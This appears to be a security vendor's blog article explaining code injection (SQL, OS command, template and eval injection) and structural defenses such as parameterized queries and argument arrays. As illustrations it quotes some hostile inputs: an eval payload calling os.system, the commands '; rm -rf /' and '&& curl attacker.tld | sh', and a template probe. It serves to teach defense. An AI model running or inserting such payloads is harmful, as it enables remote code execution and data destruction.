A code injection attack happens when an application takes untrusted input and treats part of it as executable code or a command, letting an attacker run logic the developers never intended. The label covers a broad family: SQL injection, OS command injection, server-side template injection, and language-level eval abuse all fit under it. What they share is a single flaw pattern, and once you see the pattern you can defend every variant the same way.
The mechanic behind every injection
Almost every code injection bug comes from mixing two things that should stay separate: the instructions your program runs, and the data a user supplies. When a string of data gets concatenated into something an interpreter later parses, the interpreter cannot tell which characters were meant to be commands and which were meant to be values. The attacker exploits that ambiguity.
Consider a classic shape in Python:
# Vulnerable: user input becomes part of the executed expression
user_expr = request.form["formula"]
result = eval(user_expr) # never do this on untrusted input
If a user submits __import__('os').system('id'), the interpreter happily runs it. The developer wanted a calculator; they built a remote shell. The same story repeats in shell commands, database drivers, and templating engines, only the interpreter changes.
The main variants you will meet
OS command injection occurs when input is passed to a shell. A snippet like os.system("ping " + host) lets an attacker append ; rm -rf / or && curl attacker.tld | sh. The shell parses the whole string, so the semicolon starts a second command.
SQL injection is code injection against a database interpreter. Concatenating input into a query lets an attacker change its meaning, dumping tables or bypassing authentication. It remains one of the most damaging web flaws because a single unescaped parameter can expose an entire datastore. We cover query-layer defenses in more depth in our SQL injection prevention guide.
Server-side template injection (SSTI) appears when user input reaches a template engine such as Jinja2, Freemarker, or Thymeleaf. Template engines are effectively small programming languages, so injecting {{ 7*7 }} and seeing 49 come back is the tell that arbitrary expression execution is possible.
Code injection via language eval is the most direct form: eval, exec, Function() in JavaScript, pickle.loads on untrusted bytes, or unsafe deserialization in any language. These hand the interpreter attacker-controlled source and are almost always avoidable.
What an attack looks like in practice
An attacker rarely gets code execution on the first request. The reconnaissance phase probes for the ambiguity: submitting a quote, a semicolon, a backtick, or a template marker and watching how the response changes. An error message, a timing delay, or an unexpected reflection tells them an interpreter is chewing on their input.
From there they escalate. Command injection often moves toward an out-of-band callback so the attacker can confirm execution even when the response is blank. Template injection moves toward reading environment variables or reaching the underlying runtime. The goal is usually the same: turn a data field into a foothold.
None of this requires exotic tooling. It requires one place where data crosses into an interpreter without being neutralized. That is why prevention is about architecture, not about blocking specific payloads.
Prevention that actually holds
Blocklists of bad characters do not work; attackers have decades of encoding tricks. The defenses that hold are structural.
Separate code from data at the interpreter boundary. For databases, use parameterized queries or prepared statements so values are bound, never concatenated. For shells, avoid the shell entirely: call subprocess.run(["ping", host]) with an argument array instead of a single string, so the OS never re-parses your input.
import subprocess
# Safe: arguments are passed as a list, no shell parsing
subprocess.run(["ping", "-c", "1", host], check=True)
Never evaluate untrusted input. If you think you need eval, you almost certainly need a parser for a small allowed grammar, a lookup table, or a math library with a safe expression evaluator. Treat eval, exec, and dynamic template rendering of user strings as code smells to be removed.
Validate input against an allowlist. Decide what a field may contain — a numeric ID, a known enum value, a hostname matching a strict pattern — and reject everything else. Allowlisting defines what is acceptable rather than trying to enumerate what is dangerous.
Sandbox template rendering. If users must supply templates, use a sandboxed engine mode and disable access to builtins, and render in an isolated process with least privilege.
Encode on output for the right context. Injection also happens on the way out. Encode data appropriately for HTML, attributes, JavaScript, or SQL depending on where it lands. Context-aware encoding is what stops reflected code from being interpreted downstream.
Detecting injection risk before shipping
You do not have to wait for a pentest to find these flaws. Static analysis (SAST) traces data from sources (request parameters, headers, message queues) to sinks (eval, query APIs, shell calls) and flags any path where untrusted data reaches an interpreter unfiltered. Dynamic scanning fuzzes running endpoints with injection markers and watches for tell-tale responses; our DAST scanner does exactly this against deployed apps.
Dependency risk matters too. A template engine or serialization library with a known injection bug puts you at risk even if your own code is clean. Software composition analysis such as Safeguard's SCA can flag a vulnerable parser transitively, before it reaches production. The point is defense in depth: safe coding patterns first, automated detection to catch regressions, and dependency hygiene underneath.
A quick pre-merge checklist:
- No
eval/exec/Function()on request-derived data. - Every database call parameterized.
- Every shell call uses an argument array, not a concatenated string.
- User-supplied templates rendered only in a sandbox.
- Input validated against an allowlist at the boundary.
FAQ
Is a code injection attack the same as SQL injection?
SQL injection is one specific type of code injection, aimed at a database query interpreter. Code injection is the broader category that also includes OS command injection, template injection, and unsafe eval. They all exploit the same root cause: untrusted data being parsed as code.
Does a web application firewall stop code injection?
A WAF can block many known payloads and buys time, but it is a filter, not a fix. Attackers routinely bypass signature-based rules with encoding and obfuscation. Treat a WAF as one layer, never as your primary control; parameterization and input validation in the application are what actually close the vulnerability.
Which languages are most affected?
Every language with an interpreter or dynamic evaluation is affected. The specific sink differs — eval in Python and JavaScript, backticks and system() in Perl and PHP, Runtime.exec in Java — but the flaw pattern of mixing code and data is language-agnostic. Secure coding practices transfer across all of them.
How do I test my own app for injection?
Combine static analysis to find risky source-to-sink paths with dynamic scanning that fuzzes live endpoints, then confirm findings manually. Reviewing every place user input reaches an interpreter, and adding regression tests for each fix, keeps the class from creeping back in.